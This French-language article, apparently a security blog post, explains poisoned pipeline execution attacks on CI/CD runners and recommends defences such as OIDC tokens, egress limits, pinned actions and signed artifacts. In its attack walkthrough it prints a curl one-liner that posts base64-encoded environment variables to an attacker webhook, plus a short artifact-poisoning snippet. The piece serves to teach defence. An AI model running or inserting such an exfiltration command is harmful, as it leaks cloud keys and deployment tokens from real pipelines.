Implants de pipeline : déplacer les attaques de la chaîne d'approvisionnement des dépendances au runner CI/CD

Dans la dernière décennie, l’industrie de la cybersécurité a concentré ses efforts collectifs sur la sécurisation des “briques de construction” du logiciel : dépendances. Nous avons vu l’émergence d’outils d’Analyse de Composition Logicielle (SCA) pour repérer les packages NPM malveillants, le typosquatting dans PyPI, et les vulnérabilités dans Maven. Cependant, à mesure que l’industrie renforçait ses défenses contre les dépendances malicieuses, les attaquants ont déplacé leur focus plus en amont.

La nouvelle frontière de la guerre de la chaîne d’approvisionnement ne concerne pas seulement le code que vous importez ; c’est l’infrastructure qui construit votre code.

Bienvenue dans l’ère des Implantes de pipeline et de l’Exécution de pipeline empoisonnée (PPE). Dans cette analyse approfondie, nous explorerons comment les attaquants passent de bibliothèques malveillantes à la compromission des runners CI/CD, leur permettant de voler des secrets et d’injecter des portes dérobées directement dans les artefacts en production, sans toucher à la logique principale de votre code source.

1. Le grand changement : des dépendances à l’infrastructure

Traditionnellement, une attaque dans la chaîne d’approvisionnement ressemblait à ceci : un attaquant publie lo-dash (au lieu de lodash), un développeur l’installe accidentellement, et le package malicieux vole des données du machine local ou du serveur de production.

Aujourd’hui, la surface d’attaque s’est élargie. Le DevOps moderne repose sur “Infrastructure as Code” (IaC) et des pipelines CI/CD automatisés (GitHub Actions, GitLab CI, Jenkins, CircleCI). Ces pipelines sont des cibles de grande valeur parce que :

• Ils possèdent des permissions “God Mode” : les pipelines ont souvent des identifiants pour déployer sur AWS/Azure/GCP.
• Ils sont opaques : les développeurs auditent rarement les fichiers YAML qui régissent le processus de build aussi strictement que le code applicatif.
• Ils sont transitoires : les attaques sur un runner sont souvent effacées une fois le job terminé, laissant peu de preuves forensiques.

Les Implantes de pipeline représentent la dernière étape de cette évolution. Au lieu de compromettre une bibliothèque, l’attaquant compromet le processus qui compile la bibliothèque en une application.

2. Comprendre l’Exécution de pipeline empoisonnée (PPE)

Au cœur des Implantes de pipeline se trouve une technique appelée Exécution de pipeline empoisonnée (PPE). La PPE survient lorsqu’un attaquant obtient la capacité de modifier le fichier de configuration CI/CD ou les scripts exécutés par le pipeline.

Les trois formes de PPE

A. PPE directe

Dans la PPE directe, l’attaquant modifie directement le fichier de configuration du pipeline (par exemple, .github/workflows/build.yml ou .gitlab-ci.yml). En soumettant une Pull Request (PR) qui modifie ces fichiers, l’attaquant peut ordonner au runner CI/CD d’exécuter des commandes arbitraires.

B. PPE indirecte

Dans de nombreux cas, la configuration du pipeline est protégée ou “verrouillée”. Cependant, la configuration peut appeler des scripts externes, comme npm run build, make, ou un script shell personnalisé (scripts/test.sh). Si un attaquant peut modifier ces fichiers référencés via une PR, il peut exécuter du code sur le runner même s’il ne peut pas toucher au YAML.

C. PPE open source (la menace open source)

C’est le vecteur le plus courant pour attaquer des dépôts publics. Beaucoup de projets open source exécutent automatiquement des tests CI sur toute PR entrante pour vérifier le code. Si le dépôt est mal configuré, un acteur malveillant peut forker le repo, injecter une charge utile dans le fichier de workflow, et soumettre une PR. Le runner CI/CD du projet exécutera alors le code malicieux.

3. L’anatomie d’une attaque : de la PR à la porte dérobée en production

Comment fonctionne concrètement une Implantation de pipeline dans un scénario réel ? Parcourons le cycle de vie d’une attaque sur un workflow basé sur GitHub Actions.

Étape 1 : La Pull Request malveillante

Un attaquant identifie un dépôt utilisant GitHub Actions. Il remarque que le workflow utilise un déclencheur comme on: pull_request. Il fork le dépôt et modifie un script de build — par exemple, un setup.py ou un Makefile.

Étape 2 : Exfiltration de secrets

Le script de l’attaquant ne se contente pas de faire planter le build ; il agit en silence. L’un des premiers objectifs est de voler les Variables d’Environnement. Les runners CI/CD détiennent souvent :

• AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
• NPM_TOKEN (pour publier des packages)
• DOCKER_HUB_PASSWORD
• Clés SSH pour les serveurs de production

L’implant peut contenir une simple ligne bash :

curl -X POST -d "env=$(env | base64)" https://attacker-controlled-webhook.com/leak

Étape 3 : Injection de l’“Implant”

Une fois que l’attaquant a les droits d’exécution sur le runner, il peut modifier les “Artifacts”. Les artifacts sont la sortie du build (par exemple, un fichier .jar, une image Docker, ou un binaire).

Si le pipeline construit une image Docker, l’attaquant peut utiliser le runner pour injecter un petit binaire dans l’image :

echo "malicious_code"  ./build/app.py
docker build -t production-app .
docker push company/production-app

Parce que cela se passe dans l’environnement CI/CD de confiance, l’image résultante est signée numériquement et poussée dans le registre de production comme “de confiance”.

4. Pourquoi c’est plus dangereux que les malwares traditionnels

Les implants de pipeline sont des attaques “Living off the Land” (LotL) pour DevOps.

• Contournement de la revue de code : La plupart des développeurs regardent les changements dans une PR (la logique). Ils sont moins susceptibles de remarquer une modification d’une ligne dans un script pré-installation ou une commande cachée dans un fichier cmake complexe.
• Contournement de SCA/SAST : Les outils d’Analyse de Sécurité Statique (SAST) se concentrent sur les vulnérabilités applicatives (comme l’injection SQL). Ils analysent rarement la sécurité du script de build lui-même.
• Nature éphémère : Comme le runner CI/CD est détruit après le job, l’“arme du crime” disparaît. La seule chose qui reste est l’artefact en production compromis.
• Contamination de la confiance : Si votre système CI/CD est compromis, votre Provenance de Build est détruite. Vous ne pouvez plus garantir que ce qui est dans votre repo Git correspond à ce qui tourne dans votre cluster Kubernetes.

5. Étude de cas : la vulnérabilité pull_request_target

GitHub a introduit pull_request_target pour permettre aux workflows de s’exécuter avec plus de permissions qu’un pull_request standard (qui est très restreint). L’objectif était d’autoriser l’étiquetage automatique ou les commentaires sur PR.

Cependant, si un workflow utilisant pull_request_target vérifie également le code du branchement PR entrant, cela crée une vulnérabilité critique. Le runner démarre avec les permissions “Secret” du dépôt mais exécute du code fourni par le fork “Non fiable”.

Le résultat ? Un attaquant peut soumettre une PR qui exécute un script pour supprimer toute l’infrastructure AWS ou voler les tokens de déploiement de la branche principale. Cette mauvaise configuration a été trouvée dans des milliers de projets open source de haut profil au cours des trois dernières années.

6. Comment détecter et prévenir les implants de pipeline

Sécuriser le runner CI/CD nécessite une évolution vers une maturité DevSecOps. Il ne suffit plus de sécuriser le code ; il faut sécuriser le chemin que le code emprunte jusqu’en production.

A. Principe du moindre privilège (PoLP)

Les runners ne doivent pas avoir de credentials persistants. Au lieu de stocker une clé secrète AWS dans GitHub Secrets :

• Utiliser OIDC (OpenID Connect) : GitHub Actions peut utiliser OIDC pour demander des tokens à courte durée de vie et à portée limitée à AWS/GCP/Azure. Ces tokens expirent dès que le job est terminé.
• Permissions limitées : Utiliser la clé permissions: dans GitHub Actions pour limiter ce que le GITHUB_TOKEN peut faire (par ex., contents: read, packages: write).

B. Isolation réseau

La plupart des runners CI/CD ont un accès illimité à Internet. Cela leur permet de télécharger des dépendances, mais aussi aux attaquants d’exfiltrer des secrets.

• Restreindre l’egress : Utiliser des runners auto-hébergés dans un VPC et limiter le trafic sortant aux domaines de confiance (par ex., github.com, npmjs.org).
• Auditer les logs réseau : Surveiller tout trafic sortant inhabituel (par ex., requêtes curl vers des IP inconnues) pendant les jobs de build.

C. Renforcer les déclencheurs de workflow

• Ne jamais utiliser pull_request_target avec un checkout non fiable.
• Exiger une approbation pour tous les contributeurs externes avant que GitHub Actions ne s’exécutent sur une PR.
• Utiliser les propriétaires de code pour s’assurer que les modifications dans .github/workflows ou scripts de build sensibles nécessitent une approbation de l’équipe de sécurité.

D. Immutabilité et métadonnées signées

• Actions épinglées : Au lieu d’utiliser uses: actions/checkout@v3, utiliser le hash SHA complet : uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608. Cela empêche un attaquant de compromettre l’Action elle-même.
• Sigstore / Cosign : Utiliser des outils comme Sigstore pour signer vos artefacts et vérifier qu’ils ont été construits par un workflow spécifique et non modifié.

7. L’avenir : Gestion de la posture de sécurité CI/CD (SSPM)

Alors que la menace des Implantes de pipeline croît, une nouvelle catégorie d’outils émerge : Sécurité de la chaîne d’approvisionnement logicielle (SSCS) et Gestion de la posture de sécurité CI/CD.

Ces outils font pour le pipeline ce que la Gestion de la posture de sécurité Cloud (CSPM) a fait pour AWS. Ils :

• Scannent pour “Shadow CI” ( runners non autorisés).
• Identifient des rôles IAM trop permissifs attachés aux runners.
• Détectent les scripts “empoisonnés” avant leur exécution.
• Assurent la conformité avec des cadres comme SLSA (Niveaux de la chaîne d’approvisionnement pour les artefacts logiciels).

8. Conclusion : le nouveau périmètre de sécurité

Le périmètre de sécurité a changé. Ce n’est plus le pare-feu ; ce n’est plus le fournisseur d’identité ; c’est le pipeline CI/CD.

Alors que nous avançons vers 2025 et au-delà, les attaques les plus sophistiquées ne cibleront pas directement l’ordinateur du développeur ou le serveur de production. Elles cibleront le “middle-man” — le runner CI/CD. En injectant des scripts malveillants via une simple pull request, les attaquants peuvent transformer votre outil d’automatisation le plus fiable en arme pour le vol de secrets et la contamination d’artefacts.

---

Conseil clé pour les équipes DevSecOps : Traitez vos fichiers YAML CI/CD avec la même suspicion que vos identifiants de base de données en production. Un seul “Pipeline empoisonné” suffit pour transformer une application sécurisée en cauchemar de la chaîne d’approvisionnement.